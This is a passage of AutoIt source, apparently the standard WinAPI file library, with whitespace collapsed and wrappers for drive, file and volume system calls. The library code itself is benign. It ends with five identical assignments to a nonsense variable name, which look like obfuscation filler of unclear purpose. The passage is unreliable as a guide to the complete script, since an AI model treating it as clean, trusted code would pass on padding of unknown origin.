DllStructCreate($tagscsi_pass_through & ";byte Hdr[8]") Local $tcdb = DllStructCreate("byte;byte;byte[2];byte[3];byte[2];byte;byte[2];byte[4]", DllStructGetPtr($tspt, "Cdb")) Local $thdr = DllStructCreate("byte[4];byte;byte;byte[2]", DllStructGetPtr($tspt, "Hdr")) Local $isize = DllStructGetPtr($tspt, "Hdr") - DllStructGetPtr($tspt) DllStructSetData($tspt, "Length", $isize) DllStructSetData($tspt, "ScsiStatus", 0) DllStructSetData($tspt, "PathId", 0) DllStructSetData($tspt, "TargetId", 0) DllStructSetData($tspt, "Lun", 0) DllStructSetData($tspt, "CdbLength", 12) DllStructSetData($tspt, "SenseInfoLength", 0) DllStructSetData($tspt, "DataIn", 1) DllStructSetData($tspt, "DataTransferLength", 8) DllStructSetData($tspt, "TimeOutValue", 86400) DllStructSetData($tspt, "DataBufferOffset", $isize) DllStructSetData($tspt, "SenseInfoOffset", 0) DllStructSetData($tcdb, 1, 70) DllStructSetData($tcdb, 2, 0) DllStructSetData($tcdb, 3, 0, 1) DllStructSetData($tcdb, 3, 0, 2) DllStructSetData($tcdb, 5, 0, 1) DllStructSetData($tcdb, 5, 8, 2) DllStructSetData($tcdb, 6, 0) DllStructSetData($tcdb, 7, 0, 1) DllStructSetData($tcdb, 7, 0, 2) Local $aret = DllCall("kernel32.dll", "bool", "DeviceIoControl", "handle", $hfile, "dword", 315396, "struct*", $tspt, "dword", $isize, "struct*", $tspt, "dword", DllStructGetSize($tspt), "dword*", 0, "ptr", 0) If __checkerrorclosehandle($aret, $hfile) Then Return SetError(@error, @extended, 0) Return BitOR(BitShift(DllStructGetData($thdr, 4, 1), -8), DllStructGetData($thdr, 4, 2)) EndFunc Func _winapi_getcompressedfilesize($sfilepath) Local $aret = DllCall("kernel32.dll", "dword", "GetCompressedFileSizeW", "wstr", $sfilepath, "dword*", 0) If @error Then Return SetError(@error, @extended, 0) If $aret[0] = -1 Then Local $ilasterror = _winapi_getlasterror() If $aret[2] = 0 Then Return SetError(10, $ilasterror, 0) If $ilasterror Then Return SetError(11, $ilasterror, 0) EndIf Return __winapi_makeqword($aret[0], $aret[2]) EndFunc Func _winapi_getcompression($sfilepath) Local $hfile = _winapi_createfileex($sfilepath, $open_existing, $generic_read, $file_share_readwrite, $file_flag_backup_semantics) If @error Then Return SetError(@error + 20, @extended, 0) Local $aret = DllCall("kernel32.dll", "bool", "DeviceIoControl", "handle", $hfile, "dword", 589884, "ptr", 0, "dword", 0, "ushort*", 0, "dword", 2, "dword*", 0, "ptr", 0) If __checkerrorclosehandle($aret, $hfile) Then Return SetError(@error, @extended, -1) Return $aret[5] EndFunc Func _winapi_getcurrentdirectory() Local $aret = DllCall("kernel32.dll", "dword", "GetCurrentDirectoryW", "dword", 4096, "wstr", "") If @error Then Return SetError(@error, @extended, "") Return SetExtended($aret[0], $aret[2]) EndFunc Func _winapi_getdiskfreespaceex($sdrive) Local $aret = DllCall("kernel32.dll", "bool", "GetDiskFreeSpaceEx", "str", $sdrive, "int64*", 0, "int64*", 0, "int64*", 0) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Local $aresult[3] For $i = 0 To 2 $aresult[$i] = $aret[$i + 2] Next Return $aresult EndFunc Func _winapi_getdrivebustype($sdrive) Local $hfile = _winapi_createfileex("\\.\" & $sdrive, $open_existing, 0, $file_share_readwrite) If @error Then Return SetError(@error + 20, @extended, -1) Local $tagstorage_property_query = "ulong PropertyId;ulong QueryType;byte AdditionalParameters[1]" Local $tspq = DllStructCreate($tagstorage_property_query) Local $tsdd = DllStructCreate("ulong Version;ulong Size;byte DeviceType;byte DeviceTypeModifier;byte RemovableMedia;byte CommandQueueing;ulong VendorIdOffset;ulong ProductIdOffset;ulong ProductRevisionOffset;ulong SerialNumberOffset;ulong BusType;ulong RawPropertiesLength;byte RawDeviceProperties[1]") DllStructSetData($tspq, "PropertyId", 0) DllStructSetData($tspq, "QueryType", 0) Local $aret = DllCall("kernel32.dll", "bool", "DeviceIoControl", "handle", $hfile, "dword", 2954240, "struct*", $tspq, "dword", DllStructGetSize($tspq), "struct*", $tsdd, "dword", DllStructGetSize($tsdd), "dword*", 0, "ptr", 0) If __checkerrorclosehandle($aret, $hfile) Then Return SetError(@error, @extended, -1) Return DllStructGetData($tsdd, "BusType") EndFunc Func _winapi_getdrivegeometryex($idrive) Local $hfile = _winapi_createfileex("\\.\PhysicalDrive" & $idrive, $open_existing, 0, $file_share_readwrite) If @error Then Return SetError(@error + 20, @extended, 0) Local $tdgex = DllStructCreate("uint64;dword;dword;dword;dword;uint64") Local $aret = DllCall("kernel32.dll", "bool", "DeviceIoControl", "handle", $hfile, "dword", 458912, "ptr", 0, "dword", 0, "struct*", $tdgex, "dword", DllStructGetSize($tdgex), "dword*", 0, "ptr", 0) If __checkerrorclosehandle($aret, $hfile) Then Return SetError(@error, @extended, 0) Local $aresult[6] For $i = 0 To 5 $aresult[$i] = DllStructGetData($tdgex, $i + 1) Next Return $aresult EndFunc Func _winapi_getdrivenumber($sdrive) Local $hfile = _winapi_createfileex("\\.\" & $sdrive, $open_existing, 0, $file_share_readwrite) If @error Then Return SetError(@error + 20, @extended, 0) Local $tsdn = DllStructCreate("dword;ulong;ulong") Local $aret = DllCall("kernel32.dll", "bool", "DeviceIoControl", "handle", $hfile, "dword", 2953344, "ptr", 0, "dword", 0, "struct*", $tsdn, "dword", DllStructGetSize($tsdn), "dword*", 0, "ptr", 0) If __checkerrorclosehandle($aret, $hfile) Then Return SetError(@error, @extended, 0) Local $aresult[3] For $i = 0 To 2 $aresult[$i] = DllStructGetData($tsdn, $i + 1) Next Return $aresult EndFunc Func _winapi_getdrivetype($sdrive = "") Local $itypeofdrive = "str" If NOT StringStripWS($sdrive, $str_stripleading + $str_striptrailing) Then $itypeofdrive = "ptr" $sdrive = 0 EndIf Local $aret = DllCall("kernel32.dll", "uint", "GetDriveType", $itypeofdrive, $sdrive) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getfileattributes($sfilepath) Local $aret = DllCall("kernel32.dll", "dword", "GetFileAttributesW", "wstr", $sfilepath) If @error OR ($aret[0] = 4294967295) Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getfileid($hfile) Local $tiosb = DllStructCreate("ptr;ulong_ptr") Local $aret = DllCall("ntdll.dll", "long", "ZwQueryInformationFile", "handle", $hfile, "struct*", $tiosb, "int64*", 0, "ulong", 8, "uint", 6) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return $aret[3] EndFunc Func _winapi_getfileinformationbyhandle($hfile) Local $tbhfi = DllStructCreate("dword;dword[2];dword[2];dword[2];dword;dword;dword;dword;dword;dword") Local $aret = DllCall("kernel32.dll", "bool", "GetFileInformationByHandle", "handle", $hfile, "struct*", $tbhfi) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Local $aresult[8] $aresult[0] = DllStructGetData($tbhfi, 1) For $i = 1 To 3 If DllStructGetData($tbhfi, $i + 1) Then $aresult[$i] = DllStructCreate($tagfiletime) _winapi_movememory($aresult[$i], DllStructGetPtr($tbhfi, $i + 1), 8) Else $aresult[$i] = 0 EndIf Next $aresult[4] = DllStructGetData($tbhfi, 5) $aresult[5] = __winapi_makeqword(DllStructGetData($tbhfi, 7), DllStructGetData($tbhfi, 6)) $aresult[6] = DllStructGetData($tbhfi, 8) $aresult[7] = __winapi_makeqword(DllStructGetData($tbhfi, 9), DllStructGetData($tbhfi, 10)) Return $aresult EndFunc Func _winapi_getfileinformationbyhandleex($hfile) Local $tfi = DllStructCreate($tagfileinfo) Local $tiosb = DllStructCreate("ptr;ulong_ptr") Local $aret = DllCall("ntdll.dll", "long", "ZwQueryInformationFile", "handle", $hfile, "struct*", $tiosb, "struct*", $tfi, "ulong", DllStructGetSize($tfi), "uint", 4) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return $tfi EndFunc Func _winapi_getfilepointerex($hfile) Local $tiosb = DllStructCreate("ptr;ulong_ptr") Local $aret = DllCall("ntdll.dll", "long", "ZwQueryInformationFile", "handle", $hfile, "struct*", $tiosb, "int64*", 0, "ulong", 8, "uint", 14) If @error Then Return SetError(@error, @extended, "") If $aret[0] Then Return SetError(10, $aret[0], "") Return $aret[3] EndFunc Func _winapi_getfilesizeondisk($sfilepath) Local $isize = FileGetSize($sfilepath) If @error Then Return SetError(@error + 10, @extended, 0) Local $aret = DllCall("kernel32.dll", "bool", "GetDiskFreeSpaceW", "wstr", _winapi_pathstriptoroot(_winapi_getfullpathname($sfilepath)), "dword*", 0, "dword*", 0, "dword*", 0, "dword*", 0) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0) Return Ceiling($isize / ($aret[2] * $aret[3])) * ($aret[2] * $aret[3]) EndFunc Func _winapi_getfiletitle($sfilepath) Local $aret = DllCall("comdlg32.dll", "short", "GetFileTitleW", "wstr", $sfilepath, "wstr", "", "word", 4096) If @error OR $aret[0] Then Return SetError(@error, @extended, "") Return $aret[2] EndFunc Func _winapi_getfiletype($hfile) Local $aret = DllCall("kernel32.dll", "dword", "GetFileType", "handle", $hfile) If @error Then Return SetError(@error, @extended, -1) Local $ilasterror = _winapi_getlasterror() If NOT $aret[0] AND $ilasterror Then Return SetError(10, $ilasterror, -1) Return $aret[0] EndFunc Func _winapi_getfinalpathnamebyhandle($hfile) Local $tfni = DllStructCreate("ulong;wchar[4096]") Local $tiosb = DllStructCreate("ptr;ulong_ptr") Local $aret = DllCall("ntdll.dll", "long", "ZwQueryInformationFile", "handle", $hfile, "struct*", $tiosb, "struct*", $tfni, "ulong", DllStructGetSize($tfni), "uint", 9) If @error Then Return SetError(@error, @extended, "") If $aret[0] Then Return SetError(10, $aret[0], "") Local $ilength = DllStructGetData($tfni, 1) If NOT $ilength Then Return SetError(12, 0, "") Return DllStructGetData(DllStructCreate("wchar[" & ($ilength / 2) & "]", DllStructGetPtr($tfni, 2)), 1) EndFunc Func _winapi_getfinalpathnamebyhandleex($hfile, $iflags = 0) Local $aret = DllCall("kernel32.dll", "dword", "GetFinalPathNameByHandleW", "handle", $hfile, "wstr", "", "dword", 4096, "dword", $iflags) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "") Return $aret[2] EndFunc Func _winapi_getfullpathname($sfilepath) Local $aret = DllCall("kernel32.dll", "dword", "GetFullPathNameW", "wstr", $sfilepath, "dword", 4096, "wstr", "", "ptr", 0) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "") Return $aret[3] EndFunc Func _winapi_getlogicaldrives() Local $aret = DllCall("kernel32.dll", "dword", "GetLogicalDrives") If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getobjectid($sfilepath) Local $hfile = _winapi_createfileex($sfilepath, $open_existing, 0, $file_share_readwrite, $file_flag_backup_semantics) If @error Then Return SetError(@error + 20, @extended, 0) Local $tfoid = DllStructCreate("byte[16];byte[48]") Local $aret = DllCall("kernel32.dll", "bool", "DeviceIoControl", "handle", $hfile, "dword", 589980, "ptr", 0, "dword", 0, "struct*", $tfoid, "dword", DllStructGetSize($tfoid), "dword*", 0, "ptr", 0) If __checkerrorclosehandle($aret, $hfile) Then Return SetError(@error, @extended, 0) Local $tguid = DllStructCreate($tagguid) _winapi_movememory($tguid, $tfoid, 16) Return $tguid EndFunc Func _winapi_getpetype($sfilepath) Local $tdata = DllStructCreate("ushort[2]") Local $tuint = DllStructCreate("uint", DllStructGetPtr($tdata)) Local $hfile = _winapi_createfileex($sfilepath, $open_existing, $generic_read, $file_share_readwrite) If @error Then Return SetError(@error + 20, @extended, 0) Local $ierror = 0, $ival Do Local $aret = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "struct*", $tdata, "dword", 2, "dword*", 0, "ptr", 0) If @error OR (NOT $aret[0]) OR ($aret[4] <> 2) Then $ierror = @error + 30 ExitLoop EndIf $ival = DllStructGetData($tdata, 1, 1) If $ival <> 23117 Then $ierror = 3 ExitLoop EndIf If NOT _winapi_setfilepointerex($hfile, 60) Then $ierror = @error + 40 ExitLoop EndIf $aret = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "struct*", $tdata, "dword", 4, "dword*", 0, "ptr", 0) If @error OR (NOT $aret[0]) OR ($aret[4] <> 4) Then $ierror = @error + 50 ExitLoop EndIf If NOT _winapi_setfilepointerex($hfile, DllStructGetData($tuint, 1)) Then $ierror = @error + 60 ExitLoop EndIf $aret = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "struct*", $tdata, "dword", 4, "dword*", 0, "ptr", 0) If @error OR (NOT $aret[0]) OR ($aret[4] <> 4) Then $ierror = @error + 70 ExitLoop EndIf $ival = DllStructGetData($tuint, 1) If $ival <> 17744 Then $ierror = 4 ExitLoop EndIf $aret = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "struct*", $tdata, "dword", 2, "dword*", 0, "ptr", 0) If @error OR (NOT $aret[0]) OR ($aret[4] <> 2) Then $ierror = @error + 80 ExitLoop EndIf $ival = DllStructGetData($tdata, 1, 1) Until 1 DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hfile) If $ierror Then Return SetError($ierror, 0, 0) Return $ival EndFunc Func _winapi_getprofilesdirectory() Local $aret = DllCall("userenv.dll", "bool", "GetProfilesDirectoryW", "wstr", "", "dword*", 4096) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "") Return $aret[1] EndFunc Func _winapi_gettempfilename($sfilepath, $sprefix = "") Local $aret = DllCall("kernel32.dll", "uint", "GetTempFileNameW", "wstr", $sfilepath, "wstr", $sprefix, "uint", 0, "wstr", "") If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "") Return $aret[4] EndFunc Func _winapi_getvolumeinformation($sroot = "") Local $stypeofroot = "wstr" If NOT StringStripWS($sroot, $str_stripleading + $str_striptrailing) Then $stypeofroot = "ptr" $sroot = 0 EndIf Local $aret = DllCall("kernel32.dll", "bool", "GetVolumeInformationW", $stypeofroot, $sroot, "wstr", "", "dword", 4096, "dword*", 0, "dword*", 0, "dword*", 0, "wstr", "", "dword", 4096) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Local $aresult[5] For $i = 0 To 4 Switch $i Case 0 $aresult[$i] = $aret[2] Case Else $aresult[$i] = $aret[$i + 3] EndSwitch Next Return $aresult EndFunc Func _winapi_getvolumeinformationbyhandle($hfile) Local $aret = DllCall("kernel32.dll", "bool", "GetVolumeInformationByHandleW", "handle", $hfile, "wstr", "", "dword", 4096, "dword*", 0, "dword*", 0, "dword*", 0, "wstr", "", "dword", 4096) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Local $aresult[5] For $i = 0 To 4 Switch $i Case 0 $aresult[$i] = $aret[2] Case Else $aresult[$i] = $aret[$i + 3] EndSwitch Next Return $aresult EndFunc Func _winapi_getvolumenameforvolumemountpoint($smountedpath) Local $aret = DllCall("kernel32.dll", "bool", "GetVolumeNameForVolumeMountPointW", "wstr", $smountedpath, "wstr", "", "dword", 80) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "") Return $aret[2] EndFunc Func _winapi_ioctl($idevicetype, $ifunction, $imethod, $iaccess) Return BitOR(BitShift($idevicetype, -16), BitShift($iaccess, -14), BitShift($ifunction, -2), $imethod) EndFunc Func _winapi_isdooropen($sdrive) Local $hfile = _winapi_createfileex("\\.\" & $sdrive, $open_existing, $generic_readwrite, $file_share_readwrite) If @error Then Return SetError(@error + 20, @extended, False) Local $tspt = DllStructCreate("ushort Length;byte ScsiStatus;byte PathId;byte TargetId;byte Lun;byte CdbLength;byte SenseInfoLength;byte DataIn;byte Alignment[3];ulong DataTransferLength;ulong TimeOutValue;ulong_ptr DataBufferOffset;ulong SenseInfoOffset;byte Cdb[16]" & __iif(@AutoItX64, ";byte[4]", "") & ";byte Hdr[8]") Local $tcdb = DllStructCreate("byte;byte;byte[6];byte[2];byte;byte;byte[4]", DllStructGetPtr($tspt, "Cdb")) Local $thdr = DllStructCreate("byte;byte;byte[3];byte;byte[2]", DllStructGetPtr($tspt, "Hdr")) Local $isize = DllStructGetPtr($tspt, "Hdr") - DllStructGetPtr($tspt) DllStructSetData($tspt, "Length", $isize) DllStructSetData($tspt, "ScsiStatus", 0) DllStructSetData($tspt, "PathId", 0) DllStructSetData($tspt, "TargetId", 0) DllStructSetData($tspt, "Lun", 0) DllStructSetData($tspt, "CdbLength", 12) DllStructSetData($tspt, "SenseInfoLength", 0) DllStructSetData($tspt, "DataIn", 1) DllStructSetData($tspt, "DataTransferLength", 8) DllStructSetData($tspt, "TimeOutValue", 86400) DllStructSetData($tspt, "DataBufferOffset", $isize) DllStructSetData($tspt, "SenseInfoOffset", 0) DllStructSetData($tcdb, 1, 189) DllStructSetData($tcdb, 2, 0) DllStructSetData($tcdb, 4, 0, 1) DllStructSetData($tcdb, 4, 8, 2) DllStructSetData($tcdb, 5, 0) DllStructSetData($tcdb, 6, 0) Local $aret = DllCall("kernel32.dll", "bool", "DeviceIoControl", "handle", $hfile, "dword", 315396, "struct*", $tspt, "dword", $isize, "struct*", $tspt, "dword", DllStructGetSize($tspt), "dword*", 0, "ptr", 0) If __checkerrorclosehandle($aret, $hfile) Then Return SetError(@error, @extended, False) Return (BitAND(DllStructGetData($thdr, 2), 16) = 16) EndFunc Func _winapi_ispathshared($sfilepath) If NOT __dll("ntshrui.dll") Then Return SetError(103, 0, 0) Local $aret = DllCall("ntshrui.dll", "bool", "IsPathSharedW", "wstr", _winapi_pathremovebackslash($sfilepath), "int", 1) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_iswritable($sdrive) DriveGetFileSystem($sdrive) If @error Then Return SetError(40 + @error, _winapi_getlasterror(), 0) Local $hfile = _winapi_createfileex("\\.\" & $sdrive, $open_existing, 0, $file_share_readwrite) If @error Then Return SetError(@error + 20, @extended, 0) Local $aret = DllCall("kernel32.dll", "bool", "DeviceIoControl", "handle", $hfile, "dword", 458788, "ptr", 0, "dword", 0, "ptr", 0, "dword", 0, "dword*", 0, "ptr", 0) Local Const $error_write_protect = 19 If __checkerrorclosehandle($aret, $hfile, 1) <> 10 AND @extended = $error_write_protect Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_loadmedia($sdrive) Local $hfile = _winapi_createfileex("\\.\" & $sdrive, $open_existing, $generic_read, $file_share_readwrite) If @error Then Return SetError(@error + 20, @extended, False) Local $aret = DllCall("kernel32.dll", "bool", "DeviceIoControl", "handle", $hfile, "dword", 2967564, "ptr", 0, "dword", 0, "ptr", 0, "dword", 0, "dword*", 0, "ptr", 0) If __checkerrorclosehandle($aret, $hfile) Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_lockdevice($sdrive, $block) Local $hfile = _winapi_createfileex("\\.\" & $sdrive, $open_existing, $generic_readwrite, $file_share_readwrite) If @error Then Return SetError(@error + 20, @extended, False) Local $aret = DllCall("kernel32.dll", "bool", "DeviceIoControl", "handle", $hfile, "dword", 2967556, "boolean*", $block, "dword", 1, "ptr", 0, "dword", 0, "dword*", 0, "ptr", 0) If __checkerrorclosehandle($aret, $hfile) Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_lockfile($hfile, $ioffset, $ilength) Local $aret = DllCall("kernel32.dll", "bool", "LockFile", "handle", $hfile, "dword", _winapi_lodword($ioffset), "dword", _winapi_hidword($ioffset), "dword", _winapi_lodword($ilength), "dword", _winapi_hidword($ilength)) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_mapviewoffile($hmapping, $ioffset = 0, $ibytes = 0, $iaccess = 6) Local $aret = DllCall("kernel32.dll", "ptr", "MapViewOfFile", "handle", $hmapping, "dword", $iaccess, "dword", _winapi_hidword($ioffset), "dword", _winapi_lodword($ioffset), "ulong_ptr", $ibytes) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_movefileex($sexistingfile, $snewfile, $iflags = 0, $pprogressproc = 0, $pdata = 0) Local $stypeofnewfile = "wstr" If NOT StringStripWS($snewfile, $str_stripleading + $str_striptrailing) Then $stypeofnewfile = "ptr" $snewfile = 0 EndIf Local $aret = DllCall("kernel32.dll", "bool", "MoveFileWithProgressW", "wstr", $sexistingfile, $stypeofnewfile, $snewfile, "ptr", $pprogressproc, "ptr", $pdata, "dword", $iflags) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_openfilebyid($hfile, $vid, $iaccess = 0, $ishare = 0, $iflags = 0) Local $tfidd = DllStructCreate("dword;uint;int64;int64") Local $hobj, $aret, $itype, $ierror = 0 Select Case IsString($vid) $aret = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $vid, "ptr", DllStructGetPtr($tfidd, 3)) If @error OR $aret[0] Then Return SetError(@error + 30, 0, 0) EndIf $itype = 1 Case IsDllStruct($vid) If NOT _winapi_movememory(DllStructGetPtr($tfidd, 3), DllStructGetPtr($vid), 16) Then Return SetError(@error + 40, 0, 0) EndIf $itype = 1 Case Else DllStructSetData($tfidd, 3, $vid) $itype = 0 EndSelect DllStructSetData($tfidd, 1, DllStructGetSize($tfidd)) DllStructSetData($tfidd, 2, $itype) If IsString($hfile) Then $hobj = _winapi_createfileex($hfile, $open_existing, 0, $file_share_readwrite, $file_flag_backup_semantics) If @error Then Return SetError(@error + 20, @extended, 0) Else $hobj = $hfile EndIf $aret = DllCall("kernel32.dll", "handle", "OpenFileById", "handle", $hobj, "struct*", $tfidd, "dword", $iaccess, "dword", $ishare, "ptr", 0, "dword", $iflags) If @error OR ($aret[0] = Ptr(-1)) Then $ierror = @error + 10 If IsString($hfile) Then DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobj) EndIf If $ierror Then Return SetError($ierror, 0, 0) Return $aret[0] EndFunc Func _winapi_openfilemapping($sname, $iaccess = 6, $binherit = False) Local $aret = DllCall("kernel32.dll", "handle", "OpenFileMappingW", "dword", $iaccess, "bool", $binherit, "wstr", $sname) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_pathisdirectoryempty($sfilepath) Local $aret = DllCall("shlwapi.dll", "bool", "PathIsDirectoryEmptyW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_querydosdevice($sdevice) Local $stypeofdevice = "wstr" If NOT StringStripWS($sdevice, $str_stripleading + $str_striptrailing) Then $stypeofdevice = "ptr" $sdevice = 0 EndIf Local $tdata = DllStructCreate("wchar[16384]") Local $aret = DllCall("kernel32.dll", "dword", "QueryDosDeviceW", $stypeofdevice, $sdevice, "struct*", $tdata, "dword", 16384) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "") Local $aresult = _winapi_structtoarray($tdata) If IsString($sdevice) Then $aresult = $aresult[1] EndIf Return $aresult EndFunc Func _winapi_readdirectorychanges($hdirectory, $ifilter, $pbuffer, $ilength, $bsubtree = 0) Local $aret = DllCall("kernel32.dll", "bool", "ReadDirectoryChangesW", "handle", $hdirectory, "struct*", $pbuffer, "dword", $ilength - Mod($ilength, 4), "bool", $bsubtree, "dword", $ifilter, "dword*", 0, "ptr", 0, "ptr", 0) If @error OR NOT $aret[0] OR (NOT $aret[6]) Then Return SetError(@error + 10, @extended, 0) $pbuffer = $aret[2] Local $adata[101][2] = [[0]] Local $tfni, $ibuffer = 0, $ioffset = 0 Do $ibuffer += $ioffset $tfni = DllStructCreate("dword NextEntryOffset;dword Action;dword FileNameLength;wchar FileName[" & (DllStructGetData(DllStructCreate("dword FileNameLength", $pbuffer + $ibuffer + 8), 1) / 2) & "]", $pbuffer + $ibuffer) __inc($adata) $adata[$adata[0][0]][0] = DllStructGetData($tfni, "FileName") $adata[$adata[0][0]][1] = DllStructGetData($tfni, "Action") $ioffset = DllStructGetData($tfni, "NextEntryOffset") Until NOT $ioffset __inc($adata, -1) Return $adata EndFunc Func _winapi_removedirectory($sdirpath) Local $aret = DllCall("kernel32.dll", "bool", "RemoveDirectoryW", "wstr", $sdirpath) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_reopenfile($hfile, $iaccess, $ishare, $iflags = 0) Local $aret = DllCall("kernel32.dll", "handle", "ReOpenFile", "handle", $hfile, "dword", $iaccess, "dword", $ishare, "dword", $iflags) If @error OR ($aret[0] = Ptr(-1)) Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_replacefile($sreplacedfile, $sreplacementfile, $sbackupfile = "", $iflags = 0) Local $stypeofbackupfile = "wstr" If NOT StringStripWS($sbackupfile, $str_stripleading + $str_striptrailing) Then $stypeofbackupfile = "ptr" $sbackupfile = 0 EndIf Local $aret = DllCall("kernel32.dll", "bool", "ReplaceFileW", "wstr", $sreplacedfile, "wstr", $sreplacementfile, $stypeofbackupfile, $sbackupfile, "dword", $iflags, "ptr", 0, "ptr", 0) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_searchpath($sfilepath, $ssearchpath = "") Local $stypeofpath = "wstr" If NOT StringStripWS($ssearchpath, $str_stripleading + $str_striptrailing) Then $stypeofpath = "ptr" $ssearchpath = 0 EndIf Local $aret = DllCall("kernel32.dll", "dword", "SearchPathW", $stypeofpath, $ssearchpath, "wstr", $sfilepath, "ptr", 0, "dword", 4096, "wstr", "", "ptr", 0) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "") Return $aret[5] EndFunc Func _winapi_setcompression($sfilepath, $icompression) Local $hfile = _winapi_createfileex($sfilepath, $open_existing, $generic_readwrite, $file_share_readwrite, $file_flag_backup_semantics) If @error Then Return SetError(@error + 20, @extended, 0) Local $aret = DllCall("kernel32.dll", "bool", "DeviceIoControl", "handle", $hfile, "dword", 639040, "ushort*", $icompression, "dword", 2, "ptr", 0, "dword", 0, "dword*", 0, "ptr", 0) If __checkerrorclosehandle($aret, $hfile) Then Return SetError(@error, @extended, 0) Return 1 EndFunc Func _winapi_setcurrentdirectory($sdir) Local $aret = DllCall("kernel32.dll", "int", "SetCurrentDirectoryW", "wstr", $sdir) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_setfileattributes($sfilepath, $iattributes) Local $aret = DllCall("kernel32.dll", "int", "SetFileAttributesW", "wstr", $sfilepath, "dword", $iattributes) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_setfileinformationbyhandleex($hfile, $tfileinfo) Local $aret = DllCall("ntdll.dll", "long", "ZwSetInformationFile", "handle", $hfile, "struct*", $tfileinfo, "struct*", $tfileinfo, "ulong", DllStructGetSize($tfileinfo), "uint", 4) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return 1 EndFunc Func _winapi_setfilepointerex($hfile, $ipos, $imethod = 0) Local $aret = DllCall("kernel32.dll", "bool", "SetFilePointerEx", "handle", $hfile, "int64", $ipos, "int64*", 0, "dword", $imethod) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_setfileshortname($hfile, $sshortname) Local $aret = DllCall("kernel32.dll", "bool", "SetFileShortNameW", "handle", $hfile, "wstr", $sshortname) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_setfilevaliddata($hfile, $ilength) Local $aret = DllCall("kernel32.dll", "bool", "SetFileValidData", "handle", $hfile, "int64", $ilength) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_setsearchpathmode($iflags) Local $aret = DllCall("kernel32.dll", "bool", "SetSearchPathMode", "dword", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_setvolumemountpoint($sfilepath, $sguid) Local $aret = DllCall("kernel32.dll", "bool", "SetVolumeMountPointW", "wstr", $sfilepath, "wstr", $sguid) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_sfcisfileprotected($sfilepath) If NOT __dll("sfc.dll") Then Return SetError(103, 0, False) Local $aret = DllCall("sfc.dll", "bool", "SfcIsFileProtected", "handle", 0, "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_unlockfile($hfile, $ioffset, $ilength) Local $aret = DllCall("kernel32.dll", "bool", "UnlockFile", "handle", $hfile, "dword", _winapi_lodword($ioffset), "dword", _winapi_hidword($ioffset), "dword", _winapi_lodword($ilength), "dword", _winapi_hidword($ilength)) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_unmapviewoffile($paddress) Local $aret = DllCall("kernel32.dll", "bool", "UnmapViewOfFile", "ptr", $paddress) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_wow64enablewow64fsredirection($benable) Local $aret = DllCall("kernel32.dll", "boolean", "Wow64EnableWow64FsRedirection", "boolean", $benable) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc #EndRegion Public Functions #Region Internal Functions Func __winapi_makeqword($ilodword, $ihidword) Local $tint64 = DllStructCreate("uint64") Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64)) DllStructSetData($tdwords, 1, $ilodword) DllStructSetData($tdwords, 2, $ihidword) Return DllStructGetData($tint64, 1) EndFunc #EndRegion Internal Functions $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 